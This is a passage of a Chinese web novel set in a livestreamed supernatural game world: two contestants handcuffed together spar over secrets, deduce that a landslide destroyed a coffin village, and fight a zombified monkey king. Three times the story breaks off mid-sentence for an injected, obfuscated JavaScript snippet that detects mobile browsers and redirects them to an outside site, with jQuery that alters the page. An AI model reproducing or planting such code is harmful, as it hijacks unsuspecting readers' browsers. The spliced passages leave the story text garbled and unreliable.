要知道,流言传得最是迅速。 一传十,十传百……要不了多少时间,他们多年来小心遮掩的秘密,将会变得人尽皆知。 事关重大,顾斩风不得不引起加以提防。他沉下脸色,立刻放下即将挖出的宝珠,走到齐檎丹面前。两个能够对观众隐藏直播声音的道具,转瞬之间在他手中出现。 不曾想,他还没来得及对自己和齐檎丹使用道具,“咔哒”的手铐声却先响起。 顾斩风右手,被拷上了。 一副强度极高的手铐银光闪亮,将齐檎丹的左手和顾斩风的右手,拷在了一起。而这,明显是齐檎丹的手笔。 顾斩风的面色顿时冷得能冻死人:“你……” 奈何齐檎丹的脸皮厚得刀枪不入,堪比城墙,他释放的低气压对齐檎丹造成的伤害力度,基本为零。 齐檎丹对他眨眨眼睛,倩兮巧笑:“不好意思啦,顾大佬,我早就看过当前系统商城售卖的商品,只有隔绝声音的道具,才都有距离限制。我只能用这个法子,引你过来了。” 与此同时,尸化猴王忍耐力终于达到了极限。 它不胜其烦,猛然睁眼。 巨大的双目赤红狰狞,尸化猴王“哼哧哼哧”地喘着粗气,充满了被打扰清梦的烦躁。 “顾大佬,现在我们可是一条绳上的蚂蚱了。”趁着那猴王大得恐怖的拳头刚刚攥起,还没对他们一拳挥来,齐檎丹飞快地指了指,她被拷在石柱上动弹不得的右手: “不想跟我一起死在这里的话,就帮我个小忙吧?” 37. 峭壁悬棺15 齐檎丹话音未落,尸化猴王的拳头已经裹着罡风,一拳朝他们砸了过来。 再不跑就来不及了。 “拿去。”千钧一发之际,顾斩风将一物抛来。 空中银光一闪,被齐檎丹一把抓进手心。那物品小巧,坚硬冰冷的金属质感,不轻不重地硌了齐檎丹手掌的软肉一下。 是钥匙! 齐檎丹喜出望外。 尸化猴王的拳头已至眼前,齐檎丹赶忙把钥匙塞进手铐的锁孔,快速转动。 几乎在手铐解开的同时,猴王的拳头也重重砸了下来,多亏齐檎丹身后有一股力将她猛然一拽,她才险之又险地避开了迎面而来的拳头。 “轰!!!”尸化猴王的拳风紧挨着齐檎丹砸下。 霎时间,沙石飞扬。 岩石构成的地面破碎皲裂,蛛网状的裂纹极速扩大,塌陷出一个可怖的大坑。连接山洞顶部和地面的石柱,更是歪斜倾塌,四分五裂。 而那根石柱上面,半秒前还拷着齐檎丹。 好险!要是再晚半秒,粉身碎骨的就是她了。 齐檎丹心有余悸,刚想在原地稍歇片刻,尸化猴王却已经怒吼着,再次挥舞起拳头。 “这边。”顾斩风松开了方才将齐檎丹向后拉时,下意识揽在齐檎丹腰上的手。借着手铐的连接,顾斩风引着她绕开挡路的碎石,往洞口的方向狂奔。 熟门熟路,倒像是事先考虑过,如果尸化猴王醒了要怎么走一样。 一出洞,两人都松了一口气。 这尸化猴王的体型比猩猩都大,站在那儿跟一座小山似的,看上去虽然骇人,但恰恰是这样的体重,将它的行动限制在了洞穴之内。 猴王的动作,没法像其他野猴那样灵活,更不可能踏上外面脆弱的栈道。 所以外面绝对安全。 栈道上残存的木板本就没剩多少,还被齐檎丹踹了一块,现下几乎秃了。底下的铁索又摇摇晃晃,好不稳定。 最终,齐檎丹和顾斩风只得在附近找了个洞穴,暂时歇息。 一抵达安全地点,顾斩风的目光就落到手铐上。 “解开。”顾斩风皱着眉头。 “想要解开手铐啊?”齐檎丹弯起唇角,笑得恶劣,“我偏不。” 钥匙银亮,在齐檎丹手指间转过一圈,却在下一瞬消失不见。这钥匙大概是被她收进了系统背包里了,除了考察员死亡,系统背包非本人不能打开。 齐檎丹此举,明显是想要防顾斩风。 齐檎丹:“要不是有这副手铐在,我怕是已经被那大猴子的拳头砸成肉泥,一命归西了。要是现在解开,我怎么保证我是生是死?” 顾斩风意识到,齐檎丹误会了他的意思:“我没想过杀你。” 齐檎丹闻言,扯了扯单边嘴角。 呵呵,不信。 她现在可是对顾斩风知道最多的人,对顾斩风和他那几个固定队友的威胁最大。顾斩风问不出她获取这些信息的途径,杀了她一了百了,自然最是方便快捷。 顾斩风深深地吸了一口气,试图辩解:“要是想杀你,尸化猴王攻击你的时候,我何必拉你一把?” 齐檎丹有理有据:“因为尸体很重。拖着尸体跑,你跑不快。” 顾斩风:“……” 顾斩风被齐檎丹清奇的脑回路打败了。 他决定不再将这个问题继续下去。刚好,齐檎丹的下一句话,也将两人的对话重心,转移到了另一个话题。 “你早知道这洞里有猴王?”齐檎丹问。 “嗯。”顾斩风点头,“否则,这里的珠宝不会这么多。” 最初建立棺材村的先祖,只不过是一个南下逃难来的家族,就算原先再富贵,逃亡期间又能携带多少金珠财宝呢? 洞内这么多昂贵的陪葬品,只能是由其它地方搜罗来的。 而这里喜欢搜罗财物的,只有尸化野猴。 这些漂亮的陪葬品不易获取,尸化野猴们将它们拱手送来,堆积在此,显然是为了“上供”。而能够在整个猴群当中,长期占据至尊地位的,只有猴王。 齐檎丹不由得咋舌:“只不过是扫一眼,就想到了这么多,顾大佬真是算无遗策。” 算好了尸化猴王在洞中,也算好了逃生路径…… 只是没算到,会被她拷上。 由于被齐檎丹有意分心拖慢速度,顾斩风没能成功将棺材上的宝珠撬出,人还被迫跟齐檎丹拷在了一起。 因此,这次行动对顾斩风来说,应该是前所未有的大失败。 齐檎丹正幸灾乐祸地想着,眼前突然有一道白光闪过。接着,系统的提示弹窗姗姗来迟。 【考察员顾斩风已为您使用道具“隔音符”,有效时间3分钟。】 【“隔音符”道具使用期间,将向您直播间的观众屏蔽所有声音。请注意,使用该道具将大大降低直播观众的体验感,不建议频繁使用。】 对齐檎丹使用完道具之后,顾斩风给自己也用了一个: “我说完,轮到你了。” 齐檎丹扶额无语:“我不都跟你解释过了,我是为了引你过来才那么说的吗?你怎么还使用这个道具呢?” 顾斩风态度坚决:“但我想听一听。” 齐檎丹叹了口气。 不过,屏蔽了声音也挺好的。齐檎丹接下来要说的内容,涉及到了考察员的个人信息,比较隐私。既然直播里的观众听不到声音,她也用不着那么小心翼翼,如此一来,倒是帮她省下了将个人信息模糊化处理,需要费的心思。 齐檎丹瞟了眼在直播里因为听不见声音,疯狂在弹幕里扣问号的观众,产生了一点微妙的愧疚。 这点愧疚少之又少,很快烟消云散。 “是,你们是把在网络上的消息删得很干净,哪怕是关于梁氏集团继承人的相关消息里,梁安颜的存在感也很低。”齐檎丹找了个地方坐下来,说道: “然而,我想顾大佬你也知道,这世界上没有不透风的墙。总有一些事情,是删不干净,也藏不住的。” 就比如,考察员的个人专属技能。 副本世界对考察员的名字没有限制,假名和代号可以随便用,系统商店里,也不乏能在副本里改变外貌的道具。 因而,考察员的个人专属技能,就成了最能够认出他的东西。 “哪怕才第二次进副本,我也大概能猜到,每个考察员的个人专属技能,都和他们的执念多少沾点边。”齐檎丹随便举了两个例子,“我的执念是拍照,所以技能是相机。苏意虹从大学时就爱钻研化妆,因此技能也是化妆。” 齐檎丹记得,梁安颜的个人专属技能叫“天女散花”,能够变出许多繁花状的钱币。 “在将技能和执念联系到一起后,我曾经非常好奇,梁安颜的个人技能为什么是这个样子?”齐檎丹说。 她不是梁氏集团的大小姐吗? 梁氏集团那么有钱,大小姐难道还缺钱花不成? “所以我去查了梁氏集团的经营状况,发现大概三年前,梁氏集团经历了一次影响极大的危机。因为投资失误,梁氏集团资金链断裂,难以为继。” 在这种情况下,梁氏集团要是不想申请破产,就只能努力争取外部融资支持。 简而言之,那就是—— 很需要钱。 “根据我在梁氏集团官网上查到的信息,最后成功力挽狂澜的,正是海外留学归来的梁氏集团大小姐。” 齐檎丹记得,系统商城里有些道具使用后,可以倾听心声或者改变他人心意,能够帮助梁安颜争取融资支持。再不济,副本世界里获取的积分,能够被兑换成可流通货币。 只要进入副本,梁安颜就能比较容易地解决这桩危机。 齐檎丹停顿了一下:“此外,梁氏集团是靠服装设计起家的,每一季度都会有特定的主题。而好巧不巧,让人梁氏集团起死回生的那一季主题,刚好是花。” 由此可见,要是他人有心顺着这些线索追查,梁安颜的身份不难暴露。 找到一人的身份后,查其他人就容易了。 齐檎丹:“你们离开副本后,应该也有联系吧?在现实世界里顺藤摸瓜,我想不难。” 齐檎丹把时间掐得刚刚好。 她说完之后,“隔音符”道具限制的三分钟的时长,也正好结束。 齐檎丹偷偷觑了顾斩风的脸色一眼,见顾斩风垂着眸子,若有所思。他的神情似乎比平常凝重了几分,眉心却隐隐皱着,显然对齐檎丹提供的回答不太满意。 由于齐檎丹故意偏题跑题,她方才说的那些话,并非顾斩风想听到的答案。 顾斩风想听到的,是齐檎丹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965391|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比别人知晓得更多的原因。 关于曾经,关于综艺。 关于她没被抹去记忆的原因。 但齐檎丹告诉顾斩风的,却是他那些做法现存的隐患。不能算错,但跟顾斩风想听的内容,重合率为零。 意识到被骗以后,顾斩风其实完全可以再用一次道具,让她开口的。 然而,齐檎丹赌顾斩风不会这样做。且不说这种能够屏蔽观众的道具非常珍贵,单是高阶考察员进低级副本带来的针对,也会严重限制考察员携带的道具数量。这样的东西,顾斩风不太可能带第三个和第四个。 而事实上,齐檎丹也赌对了,顾斩风的确没法带那么多道具。 他没法再次询问。 不得不咽下这个哑巴亏。 难得看顾斩风吃瘪,齐檎丹心情大好。 仗着手铐还拷着,顾斩风甩不脱她,齐檎丹故意笑着看向顾斩风,期待在他脸上寻到些挫败的神情。 然而,令齐檎丹遗憾的是,即便被哄骗了这么一遭,顾斩风眉眼里的处变不惊也从未减淡。他微微眯了下眼,目光落在齐檎丹身上的那一霎,像极了猎手扣动扳机前,对猎物的瞄准与锁定。 但那让齐檎丹后颈微凉的压迫感,只停留了极短暂的一瞬,在齐檎丹回过神来之前,就已消失不见。 只有冷淡的神情,依旧不动声色地凝在那里,像是一块终年不化的寒冰。 啧,冰块脸。 齐檎丹撇了下嘴,暗中吐槽。 她突然好奇,自己以前为什么会喜欢上顾斩风。顾斩风那张脸虽说是挺帅的,但这性格却冷冰冰的,毫无生趣,就连看直播弹幕都比他有意思。 说起看直播弹幕,这大概是齐檎丹现在唯一的娱乐活动了。 宝珠还在尸化猴王的洞穴里,他们迟早是要去拿的,但顾斩风还在思索当中,没有离开的意思,跟他拷在一起的齐檎丹也只能刷刷弹幕打发时间。 直播间的弹幕里,说什么的都有。 齐檎丹根据弹幕主要内容,大概能将其分成三类。 第一类弹幕疯狂打听被屏蔽的内容,大喊着“到底有什么是我们这些尊贵的直播观众不能听的”。第二类是佛系吃瓜,帮忙维护直播间气氛和谐,并且顺带分析两句的。 至于这第三类嘛,那可就讨厌多了。 这类弹幕一水儿都是辱骂,而且骂齐檎丹的角度千奇百怪,力图从全方位贬低她。要不是这第三类弹幕,齐檎丹的直播间也不会被搅得这么乌烟瘴气。 起初,齐檎丹还不明白她是犯了什么天条,直到她从密密麻麻的难听话中,瞥见了一条一边骂她不配,一边喊她离顾斩风远一点的弹幕时,她才发现了华点。 不是吧不是吧?难道现在对新人的歧视,都已经严重到这个程度了?只是正常的站在一起,她居然就得避嫌? 齐檎丹一个白眼差点翻到天上去。 她感觉她的反骨长出来了。 这群人不想让她干什么,她就偏要干什么。主打的就是一个叛逆。 齐檎丹抬起茶色的眼眸,主动向顾斩风看去。顾斩风还是那副冷若冰霜的模样,连穿在实验室白大褂里面的那件衬衫,都要仔仔细细地,扣到领口最上面那颗纽扣。说不出的清冷禁欲。 齐檎丹那顽劣的玩心,一下子窜了上来。 既然那部分观众,最希望她离顾斩风远远的,那她偏不肯让他们如愿。她不仅要跟顾斩风离得近,还要跟他离得更近。 想到这儿,齐檎丹噙着几分玩味,主动朝顾斩风靠了过去。 顾斩风皱着眉,一退再退。 但被手铐拷着,他又能逃到哪里去呢? 很快,他的脊背就在后退中抵上了冷硬的石壁,齐檎丹轻而易举地拽着顾斩风的领子,把他重新拉了回来。映在墙上的两道人影几乎重叠,姿态暧.昧。 晦暗的洞窟当中,顾斩风的喉结滚动了一下,眼瞳幽深:“我不喜欢肢体接触。” “我知道,但是我喜欢啊。” 齐檎丹的指腹搭在顾斩风的手上,轻松上移,从骨节分明的颀长手指,游.走到突出的腕骨。她感受到顾斩风皮肤下搏动的心跳。 “所以,顾大佬打算怎么做?”齐檎丹勾着唇角,用一种故意挑衅的语气说道,“拿你的风刃把我的手砍了,摆脱手铐,然后落荒而逃?” 38. 峭壁悬棺16 落荒而逃是不可能的,顾斩风的自尊不会允许。 通过把齐檎丹的左手砍了,直接摆脱手铐的控制也是不可能的,因为考察系统对这方面的防范极其严格。 小伤还好,要是有人故意造成其他考察员重伤或者死亡,考察系统会毫不留情地将那个人抹杀。 所以,饶是顾斩风的风刃再厉害,也压根无法对她使用。 齐檎丹丝毫不担心。 不得不说,逗顾斩风真的太有意思了。齐檎丹第一次知道,“欺负人”原来可以这么好玩。 且不提,看那群骂她的人被激怒之后,破防飙脏话的小丑举动,单是把顾斩风这个高岭之花,戏弄得眉头紧皱、喉结滚动,本身就已经足够有趣了。 谁能想到,齐檎丹只是挨得稍微近些,两个人的手部皮肤稍微贴了一下而已呢?顾斩风反应那么大,搞得好像她做了什么强迫民男的事情一样。在此之前,齐檎丹还真没想到,顾斩风居然这么纯情。 唉,到底是谁在说强扭的瓜不甜啊,强扭的瓜明明超级甜。 她超喜欢。 受限于前方的齐檎丹和身后的墙壁,顾斩风所能做出的最大动作,仅仅是将头颅后仰,勉强与齐檎丹拉开一点距离。 顾斩风此举,本意是为了避开少女温热的吐息,殊不料,他随着呼吸而绷紧、起伏的颈部线条,喉结上下滑动时的细节,却在齐檎丹眼皮子底下暴露无遗。 齐檎丹呼吸一紧,不动声色地退了半步,回到了虽然被拷在一起,但依旧疏离客气的社交距离。 她下意识按住胸口。 好险好险!差一点就心跳加速了。 倒不是因为昔日的那一点心动,有任何死灰复燃的迹象,而是因为刚刚那个画面。 顾斩风脖子后扬时,他颈部线条下那若隐若现的肌肉与筋骨,以及凸起的喉结,好带感,好涩气,好有性张力——好适合用相机拍下来。 齐檎丹一退开,马上就去取相机。 然而,即便已经用了最快速度,她的动作依旧慢了一步。 待齐檎丹从系统背包里拿出相机后,方才的美景早已经消失不见。顾斩风的神色恢复正常,即便衣领稍见凌乱,耳尖泛起的粉红也还没褪下去,他眸中却凌厉冷然。 齐檎丹笑着逗他:“怎么,某人不就是被我逗了一下吗?就这么生气啊?” “生气的人,不一定是我。” 顾斩风眯了一下眼,左手指缝间,漏出一道银光。 齐檎丹眉心一跳:“我的钥匙?!” 她赶忙把相机挂在肩上,腾出手往口袋里一摸,果然空空如也。 齐檎丹之前收手铐钥匙的时候,故意使了诈,看似将钥匙收进了系统背包里,其实是将其放进了口袋。可没想到,顾斩风居然还是趁着她接近的时候,把她口袋里的钥匙偷走了。 齐檎丹沉下眼眸:“你是怎么猜到的?” “因为你信不过我。”顾斩风淡淡说道,“你怕我真的为了从系统背包里拿钥匙,会想办法杀你。” 顾斩风拿钥匙打开了手铐。低头的一瞬间,碎发在他眼中扫下阴影,好似转瞬即逝的黯然。 重获自由后,他转身走出歇脚的洞穴。 齐檎丹担心他抢先获得宝珠,于是紧接着追了上去。 但令齐檎丹倍感意外的是,顾斩风竟没有立马去往尸化猴王的洞穴里,而是独自站在栈道之上,面色严肃地俯瞰着山脚下的风光。 “你在看什么?”齐檎丹刚把话问出口,就明白了原因。 正因为他们登上的山崖足够高,从这个高度俯视下方,能够毫不费力地,将棺材村和周围的山脉尽收眼底。 村庄与山脉所成的格局,极其奇怪。 棺材村的东南西北方位处,分别坐落着四座山脉。 山脉高耸连绵,宛如四条横平竖直的线条,组成了全包围的“口”字结构,将棺材村围在正中。除了他们进出村子时那条狭窄的水道,附近再无通道。 四周全被围住,村里面却有人居住—— 这可是一个“囚”字! 齐檎丹猛然惊觉:“这四座山脉的形状,好像一口棺材。”村子与村中的居民,被囚困在这口棺材当中,无法脱身。 从风水学上,这样的寓意极其不佳。从地理学上,高大的山脉从各个角度遮挡了日照,阻碍了排水,加强了发生地质灾害的风险……总之,绝对算不上宜居。 棺材村的先祖们,怎么会选择在这里建村? “下陡中缓上陡、?上部成环状。”顾斩风看着棺材村附近的山势,口中轻声默念。 齐檎丹:“什么意思?” 顾斩风:“这样的坡形,最容易出现山体滑坡。” “山体滑坡?”齐檎丹低低重复了一遍。那四个字眼从舌尖上旋过的时间极短,只不过区区数秒,齐檎丹脑海中,却晃过了很多事物。 村中遍地栽种的五鬼木,道旁堆放的棺材,满是泥巴的玩具,鬼化为人的幻术……无数碎片之间,逐渐产生了模糊的连接点。寒意悄然滋生,沿着齐檎丹的脊椎骨攀援而上,她禁不住打了个寒颤。 齐檎丹在相机自带的相册里,翻出了她昨夜拍摄的照片,拿给顾斩风:“你看看这个。” 那是一张风景照,拍的从房间窗户里向外看出去的景象。 照片对准的重点,是山。 连绵的山坡淹没在夜色里,没有白天那么清晰,却依旧能看出大概的轮廓形态。 “山体坡度在三十度左右。”顾斩风一瞧那照片,眉头便皱得更紧,“这是最容易发生山体滑坡的坡度。” 齐檎丹又捧出她从木刻小刀上,取下的那包土:“还有这个。” 顾斩风在观察过后,同样给出了判断:“结构疏松,是容易造成山体滑坡的土质。土壤湿润,符合山体滑坡出现在雨后的特征。” 再加上这一带的气候湿润多雨,村子旁边不远处又是江。 山体滑坡的条件,这个村庄占了个全。 得到答案的那一刻,齐檎丹心里如闷雷炸响。几乎所有的线索,都指向同一个真相—— 棺材村曾经发生过泥石流。 这危险的泥石流,或许就是那个开冥器店的小老头所说的,四年前村里发生过的那场重大灾难。 结合那些从泥土里挖出来的玩具,齐檎丹现在基本上可以确定,那些纸扎人娃娃的真实身份了。他们,大概率是在泥石流中不幸丧生的村中孩童。 泥石流灾难事发突然,贪玩的孩童恰好趁着雨停,在屋外嬉戏。不料瞬间倾压而下的碎石和沙土,将他们活生生掩埋。 但他们的悲剧,不止如此。 孩子们稚嫩的面孔被压扁,脆弱的骨骼被碾碎,尚未长开的五官被砸烂……他们的鬼魂被定格在死时的模样,惨遭毁容。 毁容后的样貌丑陋不堪,孩童难以接受自己如今的长相和残破的尸体,只能躲进冥器店做好的纸扎人里,以求隐藏面目。不曾想,纸扎人原本的面部五官,却因为受其影响,也日渐变成了扭曲怪异的模样。 因此,藏在纸扎人身躯中的孩童鬼魂心有不甘。 他们自知丑陋,只敢在伸手不见五指的黑夜里出来游荡,一遍遍向遇见的陌生人,问着他们的样貌如何。 这些孩子的鬼魂太害怕听到真实的答案,同时又太清楚什么是谎言。 所以没有答案,真能符合他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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噢!原来是那个对她恨之入骨的黄毛啊。齐檎丹恍然大悟。 怪不得会想着法子害她。 别人或许是无心,但黄毛捅尸化猴王的那一下,必然是故意的。他就是算准了齐檎丹被拷在石柱上,逃脱不掉,想要借机致齐檎丹于死命。 顾斩风的脸色也不好看。当初黄毛引导顾斩风过来的时候,顾斩风只想过这个黄毛会耍心机,没想到,他居然敢杀人。 此等心术不正的人,是在自取灭亡。 考虑到其他考察员身上的尸化蔓延速度,齐檎丹深感他们的时间有限。于是,她把计较的事情暂且后延:“先想想怎么解决尸化猴王吧。” 说着,她想起了这猴王的尸化程度。 “尸化猴王尸化的程度很轻,但依然有。这很奇怪。”齐檎丹发现问题。 那个有宝珠的洞穴,明明是尸化猴王的领地,只要它靠近棺材上的宝珠,就能彻底解除尸化。但为什么,尸化猴王却没有这么做? 不解除尸化,对它来说有什么好处? “我们可能先入为主了。”顾斩风思索,“因为我们自身的尸化是从无到有,所以以为其他的尸化也是这样。” 实则不然。 能给一个村庄带来毁灭性打击的泥石流,影响到的范围一定很广。不止村庄,周边的山崖、田地等,可能都深受其害。 在泥石流中痛苦死去的生灵,除了村中百姓,也包括了这些周围地区的生物。 所以,山崖上整个猴群的所谓“尸化”,更接近村民们的状态。这些猴子不是生前被尸化影响,而是一群死后,又被宝珠的力量“复活”的尸体。 其他猴子是这样,猴王也是。 因此,那颗宝珠既是尸化猴王的生门,也是它的死穴。 39. 峭壁悬棺17 一通分析过后,齐檎丹的心里有了底:“其他野猴和猴王的区别,只在于尸化猴王的住处最靠近宝珠,因此在身体机能方面,最接近存活时模样。” 但,只要利用好那颗宝珠,拿捏住尸化猴王的死穴,就不怕尸化猴王打不败。 “看来,宝珠至少有两种作用。” 顾斩风沉声说道。 对死去的生灵,比如在泥石流中遭遇不幸的村民和野猴,宝珠能够保全他们的鬼魂,甚至将他们的鬼魂重新封进尸体,减轻光照对他们的影响。从而,使他们无限接近存活的时候。 然而,宝珠发挥这种作用发同时,却会给活着的生物带来负面影响。 就比如,出现在考察员身上的尸化。 不过宝珠对环境的影响,他们目前还并不清楚,只能看看棺材上的画作,试试能不能找出线索了。 “等准备好了,我们就再去第一任村长的棺材那儿看看吧。”齐檎丹嘴上提议的同时,脚已经开始在往那个方向走了。 搞清楚猴群“尸化”的原理之后,齐檎丹对猴王已经不怎么畏惧了。由于尸化猴王本身其实早已经死去,一旦完全解除“尸化”状态,就会立刻变回尸体,所以他们充其量,只需要把宝珠拿到尸化猴王旁边去就行。 但,直到走到熟悉的洞口跟前,齐檎丹才后知后觉—— 这件事,只是说起来容易。 那只巨大的尸化猴王,居然拿身体堵在了洞口前面。他们根本连洞都进不去,更妄谈拿棺材上的宝珠,解除猴王的尸化了。 顾斩风对此早有预料,哪壶不开揭哪壶:“你不是说要进去吗?怎么又回来了?” 齐檎丹剜他一眼:“等我3秒钟。” 齐檎丹之所以有信心赶来,才不是对这种意外毫无准备。 她从系统背包里,拿出了手头仅有的两张照片道具,开始挑选。一张是她在尸化野猴进棺材搞事时,拍下的“棺中黑影”,另外一张,则是她和苏意虹给纸扎人娃娃改完妆后,她为这些纸扎人娃娃拍的合影。 这张合影的拍摄有失水准,齐檎丹对评分不抱希望,所以当初故意没看。但现在到了重要关头,她不再不想看也得看了。 齐檎丹眯着眼睛,遮着那评分,小心翼翼地挪开看了一眼。 【照片“改妆结果大展示”评分等级A,已复刻鬼怪实力75%。】 万幸!齐檎丹松了口气。 虽然没有上S级,但好歹有个A。不算太丢脸。 她对这张摆拍照的预期,其实比评分更低。想来,可能是系统评分时,出于对她辛苦化妆化了快一夜的同情,多给了她一点辛苦分吧。 顾斩风不明白,齐檎丹为什么对着这张照片愁眉不展。 在他看来,照片已经足够好看。 得益于齐檎丹专业的引导,即便是摆拍,纸扎人娃娃的动作也很自然,没有面对镜头的生硬感。照片里对光线的运用,更是一绝。冷色光源模拟月光,洒在纸扎人娃娃的小脸上,和夜幕下寥寥几盏灯火,相得益彰。 顾斩风大概理解,为什么梁安颜会找她拍写真了。 梁安颜说得没错,齐檎丹确实酷爱拍照,而拍照的实力也确实不俗。 能有这样实力的摄影师,不缺顾客。 “三秒钟到了。”顾斩风提醒。 “我选好了。”齐檎丹飞快地从两张照片中,抽出了拍纸扎人娃娃的一张,“就决定用它了。” 这张照片道具在齐檎丹拍摄的照片当中,只能说是实力垫底的,但是它复刻出的鬼怪,却一定是最烦人的。小孩子有一个人憎狗嫌的年纪,在这期间,没什么东西能逃得过熊孩子的摧残。 就连尸化猴王也不行。 齐檎丹扔出了一张照片,收获了几十个嘻嘻哈哈的纸扎人娃娃。 一从照片里出来,这些纸扎人娃娃立马缠着齐檎丹和顾斩风,要他们陪着玩耍:“姐姐、哥哥,陪我们玩!快陪我们玩!” 齐檎丹被它们吵得脑仁儿都疼了。 但这张照片道具用都用了,她只好耐着性子哄小孩。 “哥哥和姐姐现在忙,没时间。但是那边山洞里,住着一只孤独的大猴子,他正好需要别人去陪他玩。” 齐檎丹伸手,向旁边住着尸化猴王的洞穴指去,祸水东引:“这只猴子有一个缺点,心里容易别扭。它越喜欢别人找他一起玩,就越不表现出来。所以,你们看到他表现得越不开心了,就越要去找它玩,好吗?” 纸扎人娃娃们被她忽悠瘸了,一个个点头应承。随后,便争先恐后地找“新朋友”去了。 顾斩风没绷住,嘴角上扬了一下。 夺笋啊,把尸化猴王的抗拒解释成别扭。 这样,尸化猴王的心态被搞得越崩溃,这群纸扎人娃娃就越会欢天喜地地往上扑了。 顾斩风很快便意识到了,齐檎丹选择这张照片道具的正确性。这些纸扎人娃娃身材小巧,即便洞口被堵死,也恰好能钻进黄毛为了偷陪葬品开的孔洞里。 没过多久,山洞里就传来尸化猴王烦躁的怒吼。 纸扎人娃娃毕竟是纸,身躯轻盈,活动起来灵巧迅速,简直是为了克制个大又笨重的尸化猴王而生的。 上一秒,纸扎人娃娃还在嘻嘻哈哈地缠着尸化猴王,可是下一秒,当尸化猴王愤怒地攥起拳头,挥拳砸去时,那群娃娃早就跑没影了。尸化猴王的攻击次次落空,气得血压飙升,捶胸顿足。 大象能吓得跑老虎,却对一群嗡嗡叫的蚊子无能为力。 纸扎人娃娃们,就是这群蚊子。 齐檎丹本想让这些纸扎人娃娃,引尸化猴王到洞穴外边去,利用承重能力有限的栈道,来限制尸化猴王的行动的。然而,那尸化猴王深谙自己大体型的缺点,怎么说都不肯走出洞穴。 此路不通,他们就只能在有尸化猴王的情况下,冒险进洞一趟了。 齐檎丹紧盯着洞穴,观察动向。 在纸扎人娃娃接二连三的骚.扰下,严守洞口的尸化猴王终于忍不住向后转身,背对洞口。 机会来了! 齐檎丹矮身往洞中一钻。 趁纸扎人娃娃转移走了尸化猴王的注意力,她跟顾斩风先后进洞。 心心念念的村长棺材近在咫尺,齐檎丹赶紧命几个纸扎人娃娃过来,尽量遮挡住他们的身影。他们则加快速度,赶到了第一任村长的棺材跟前。 接下来需要做两件事情,一是继续撬下宝珠,二是从棺材上绘制的图案中探寻宝珠的秘密。两件事情缺一不可,但必须要在最短的时间内完成。 尸化猴王还在洞里。在这儿多留一分钟,他们就多一份危险。 顾斩风言简意赅:“合作?” 齐檎丹:“好。你继续撬那颗珠子,我来看棺材上的图。” 顾斩风的匕首是钢铁打造,而她这里唯一能用的,只有一把木刻小刀。挖起那颗珠子来,用匕首的效率肯定会更高一些。 事急从权,速度必须优先。齐檎丹用手匆匆扫去了棺材上的灰尘,棺材上精美的图画登时跃入眼帘。齐檎丹一幅幅图顺序往下看去,很快就在图中,看见了那颗功效神奇的宝珠。 这图上,果真记载了宝珠的奥秘。 齐檎丹目光一凝,看向图画的目光更加如饥似渴。 棺材上面这些图画兼具了美感和内容,所绘制的场景,如同宝珠的使用说明。借着图画,将这颗宝珠惊人的功效娓娓道来。 画像印证了他们的部分推断。山崖上的野猴和村子里的人,确实早就死去,完好安宁的棺材村,早已在泥石流的肆虐中不复存在。然而,宝珠实际上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975541|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的功效,却大大地超出了他们之前的预判。 不是制造幻术,却比幻术更加复杂。 与其说,宝珠的力量塑造了一个理想的假象,倒不如说它在棺材村原位置的基础之上,开辟了一个关于“死”的领域。 棺材村及其周边地带,都被纳入了这个空间领域当中,成为了一个为此地亡灵建立起的庇护所,收留因为故乡被毁而无家可归的孤魂野鬼。 这里似人间,又非人间,是被制造出的另一重“真实”。 属于鬼魂的“真实”。 解答完以上这些问题后,问题再次回到棺材村周围山势构成的地形上,一切便可以迎刃而解了。 为什么这里的格局如此古怪,棺材村的先祖还要在这里定居?因为,泥石流发生前的周边地形,并非这个模样,而是一块山清水秀的风水宝地。 地形之所以改变,不全是因为泥石流的影响,而是因为原本住在村里的居民们,已经化作一具具冰冷的尸体。 尸体,本该住进棺材。 所以当那颗传世宝珠释放法力,将一切尽可能地“恢复”回原状时,也考虑到了适合鬼魂尸体居住的生存环境。 也正因如此,村子里才会种有那么多的五鬼木,还处在聚拢阴气的棺材地形中间。 这些不合常理的变化,加强了这个空间里积蓄的阴气,使得难以忍受阴气侵染的常人,会在这样的环境里逐渐尸化。然而,这么做初衷却是温柔的,加重阴气,只是为让空间变得更加适宜鬼魂居民生存…… 齐檎丹是如此地被棺材上的图画吸引,以至于,当纸扎人娃娃的尖叫声贴着耳边响起时,她才骤地回神。 “尸化猴王反应过来了。”顾斩风完成了最后一次撬动。 宝珠滑下棺盖,被齐檎丹下意识接住。 【已拿到宝珠。】 【任务完成进度:70%】 尸化猴王盛怒的一击还未落下,顾斩风的风刃先迎了上去:“我去牵制住它,你继续看图。” 然而顾斩风的能力已被大幅压制,暴怒发狂的尸化猴王,却没那么好对付。 数道风刃同时发出。 落在了那尸化猴王的左心口。 刹那间,猴王的心脏被烈风猛然穿透,污浊酸腐的血水从伤处淌出,洒落在皮毛之间,转瞬间消失不见。 这家伙已经死过一回,根本不怕还会再死一次。 